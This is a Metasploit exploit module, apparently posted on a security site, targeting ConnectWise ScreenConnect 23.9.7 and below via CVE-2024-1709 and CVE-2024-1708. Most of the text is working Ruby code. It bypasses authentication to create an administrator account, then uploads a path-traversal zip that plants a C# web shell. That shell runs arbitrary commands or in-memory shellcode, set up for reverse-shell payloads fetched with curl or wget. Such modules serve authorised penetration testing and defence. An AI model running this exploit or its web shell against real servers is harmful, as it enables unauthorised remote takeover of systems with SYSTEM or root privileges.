Authored by sfewer-r7, WatchTowr | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage this to achieve remote code execution by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7 and below are affected.

advisories | CVE-2024-1708, CVE-2024-1709

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ConnectWise ScreenConnect Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
and below are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF RCE Exploit
'WatchTowr', # Auth Bypass PoC
],
'References' => [
['CVE', '2024-1708'], # Path traversal when extracting zip file.
['CVE', '2024-1709'], # Auth bypass to create admin account.
['URL', 'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8'], # Vendor Advisory
['URL', 'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/'], # Auth Bypass PoC
['URL', 'https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass'] # Analysis of both CVEs
],
'DisclosureDate' => '2024-02-19',
'Platform' => %w[win linux unix],
'Arch' => [ARCH_X64, ARCH_CMD],
'Privileged' => true, # 'NT AUTHORITYSYSTEM' on Windows, root on Linux.
'Targets' => [
[
# Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:
# windows/x64/meterpreter/reverse_tcp
'Windows In-Memory', {
'Platform' => 'win',
'Arch' => ARCH_X64
}
],
[
# Tested ScreenConnect 23.9.7.8804 on Server 2022 with payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'FETCH_WRITABLE_DIR' => '%TEMP%'
}
}
],
[
# Tested ScreenConnect 20.3.31734 on Ubuntu 18.04.6 with payloads:
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
'Linux Command', {
'Platform' => %w[linux unix],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 8040,
'SSL' => false,
'EXITFUNC' => 'thread'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
CONFIG_CHANGES,
# The existing administrator account will be replaced
ACCOUNT_LOCKOUTS
]
}
)
)

register_options([
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alpha_lower(8)]),
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(16)])
])
end

def check
# This is a file found on the recent 23.9.7.8804 (Circa 2024), an out of support 20.3.31734 (Circa 2021), and
# a very old 2.5.3409.4645 (Circa 2012). So we can expect this file to exist on all targets. As this endpoint
# expects authentication, the response will be a 302 redirect to the Login page. As Windows is case insensitive
# we can request 'Host.aspx' with any case and get the expected 302 response, however Linux is case sensitive and
# will always 404 a request to 'Host.aspx' if we jumble up the case. Both a 302 and 404 response will still include
# the Server header, which we use to confirm both ScreenConnect and the version number.
host_aspx = 'Host.aspx'

host_aspx = loop do
jumblecase_host_aspx = host_aspx.chars.map { |c| rand(2) == 0 ? c.upcase : c.downcase }.join
break jumblecase_host_aspx unless jumblecase_host_aspx == host_aspx
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, host_aspx)
)

return CheckCode::Unknown('Connection failed') unless res

return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 302 || res.code == 404

platform = res.code == 302 ? 'Windows' : 'Linux'

if res.headers.key?('Server') && (res.headers['Server'] =~ %r{ScreenConnect/(d+.d+.d+)})

detected = "ConnectWise ScreenConnect #{Regexp.last_match(1)} running on #{platform}."

if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('23.9.7')
return CheckCode::Appears(detected)
end

return CheckCode::Safe(detected)
end

CheckCode::Unknown
end

def exploit
# Sanity check the USERNAME and PASSWORD will meet the servers password requirements.
fail_with(Failure::BadConfig, 'USERNAME must not be empty.') if datastore['USERNAME'].empty?
fail_with(Failure::BadConfig, 'PASSWORD must be 8 characters of more.') if datastore['PASSWORD'].length < 8

#
# 1. Begin the setup wizard using the vulnerability to access the SetupWizard.aspx page.
#
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/')
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply when initiating setup wizard.')
end

viewstate, viewstategen = get_viewstate(res)
unless viewstate && viewstategen
fail_with(Failure::UnexpectedReply, 'Did not locate the view state after initiating setup wizard.')
end

#
# 2. Advance to the next step in the setup.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),
'vars_post' => {
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => viewstategen,
'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton' => 'Next'
}
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from first step in setup wizard.')
end

viewstate, viewstategen = get_viewstate(res)
unless viewstate && viewstategen
fail_with(Failure::UnexpectedReply, 'Did not locate the view after first step in setup wizard.')
end

#
# 3. Create a new administrator account.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/SetupWizard.aspx/'),
'vars_post' => {
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => viewstategen,
'ctl00$Main$wizard$userNameBox' => datastore['USERNAME'],
'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: datastore['USERNAME']).to_s,
'ctl00$Main$wizard$passwordBox' => datastore['PASSWORD'],
'ctl00$Main$wizard$verifyPasswordBox' => datastore['PASSWORD'],
'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton' => 'Next'
}
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from create account step in setup wizard.')
end

print_status("Created account: #{datastore['USERNAME']}:#{datastore['PASSWORD']} (Note: This account will not be deleted by the module)")

#
# 4. Log in with this account to get an authenticated HTTP session.
#
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Administration'),
'keep_cookies' => true,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to login with admin credentials.')
end

if res.body =~ %r{"antiForgeryToken"s*:s*"([a-zA-Z0-9+/=]+)"}
anti_forgery_token = Regexp.last_match(1)
else
# The antiForgeryToken is not present in older versions of ScreenConnect (Tested with 20.3.31734).
print_warning('Could not locate anti forgery token after login with admin credentials.')
anti_forgery_token = ''
end

#
# 5. Create an extension to host the payload.
#

# NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want, so we use
# Faker::Internet.uuid instead.
plugin_guid = Faker::Internet.uuid

payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx"

# According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are
# the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for
# use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly
# generate a valid keyword.
vars = Rex::RandomIdentifier::Generator.new({
forbidden: %w[
abstract add alias and args as ascending async await
base bool break by byte case catch char checked class const continue decimal default delegate descending do
double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get
global goto group if implicit in init int interface internal into is join let lock long managed nameof
namespace new nint not notnull nuint null object on operator or orderby out override params partial private
protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof
stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort
using value var virtual void volatile when where while with yield
]
})

if target['Arch'] == ARCH_CMD
payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>
using System;
using System.Web;
using System.Diagnostics;

public class #{vars[:var_handler_class]} : IHttpHandler
{
public void ProcessRequest(HttpContext #{vars[:var_ctx]})
{
if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {
return;
}

byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);

string #{vars[:var_payload]} = System.Text.Encoding.UTF8.GetString(#{vars[:var_bytearray]});

ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo();

#{vars[:var_psi]}.FileName = "#{target['Platform'] == 'win' ? 'cmd.exe' : '/bin/sh'}";

#{vars[:var_psi]}.Arguments = "#{target['Platform'] == 'win' ? '/c' : '-c'} "" + #{vars[:var_payload]} + """;

#{vars[:var_psi]}.RedirectStandardOutput = true;

#{vars[:var_psi]}.UseShellExecute = false;

Process.Start(#{vars[:var_psi]});
}

public bool IsReusable { get { return true; } }
})
else
payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %>
using System;
using System.Web;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class #{vars[:var_handler_class]} : IHttpHandler
{
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);

public void ProcessRequest(HttpContext #{vars[:var_ctx]})
{
if (String.IsNullOrEmpty(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"])) {
return;
}

byte[] #{vars[:var_bytearray]} = Convert.FromBase64String(#{vars[:var_ctx]}.Request["#{vars[:var_payload_key]}"]);

IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40);

Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length);

IntPtr #{vars[:var_thread_id]} = IntPtr.Zero;

CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]});
}

public bool IsReusable { get { return true; } }
})
end

manifest_data = %(<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
<Version>#{Faker::App.version}</Version>
<Name>#{Faker::App.name}</Name>
<Author>#{Faker::Name.name}</Author>
<ShortDescription>#{Faker::Lorem.sentence}</ShortDescription>
<Components>
<WebServiceReference SourceFile="#{payload_ashx}"/>
</Components>
</ExtensionManifest>)

zip_resources = Rex::Zip::Archive.new
zip_resources.add_file("#{plugin_guid}/Manifest.xml", manifest_data)
# We can leverage CVE-2024-1708 to write one level below the extension directory. This enable Linux targets to work.
zip_resources.add_file("#{plugin_guid}/../#{payload_ashx}", payload_data)

#
# 6. Upload the payload extension.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'InstallExtension'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => "["#{Base64.strict_encode64(zip_resources.pack)}"]",
'headers' => {
'X-Anti-Forgery-Token' => anti_forgery_token
}
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to install extension.')
end

print_status("Uploaded Extension: #{plugin_guid}")

if target['Platform'] == 'win'
# On Windows the current working directory is C:WindowsSystem32 and we dont leak out the install path
# so we use the default installation location...
register_files_for_cleanup("C:Program Files (x86)ScreenConnectApp_Extensions#{payload_ashx}")
else
# For Linux the current working is the install path (/opt/screenconnect) so we can use a relative path...
register_files_for_cleanup("App_Extensions/#{payload_ashx}")
end

begin
#
# 7. Trigger the payload by requesting the extensions .ashx file.
#
if target['Arch'] == ARCH_CMD
payload_data = payload.encoded.gsub('', '\\')
else
payload_data = payload.encoded
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'App_Extensions', payload_ashx),
'keep_cookies' => true,
'vars_post' => {
vars[:var_payload_key] => Base64.strict_encode64(payload_data)
}
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply after attempt to trigger payload.')
end
ensure
#
# 8. Ensure we remove the extension when we are done.
#
print_status("Removing Extension: #{plugin_guid}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Services', 'ExtensionService.ashx', 'UninstallExtension'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => "["#{plugin_guid}"]",
'headers' => {
'X-Anti-Forgery-Token' => anti_forgery_token
}
)

unless res&.code == 200
print_warning('Failed to remove the extension.')
end
end
end

def get_viewstate(res)
vs_input = res.get_html_document.at('input[name="__VIEWSTATE"]')
unless vs_input&.key? 'value'
print_error('Did not locate the __VIEWSTATE.')
return nil
end

vsgen_input = res.get_html_document.at('input[name="__VIEWSTATEGENERATOR"]')
unless vsgen_input&.key? 'value'
# The __VIEWSTATEGENERATOR is not present in older versions of ScreenConnect (Tested with 20.3.31734).
print_warning('Did not locate the __VIEWSTATEGENERATOR.')
return [vs_input['value'], '']
end

[vs_input['value'], vsgen_input['value']]
end
end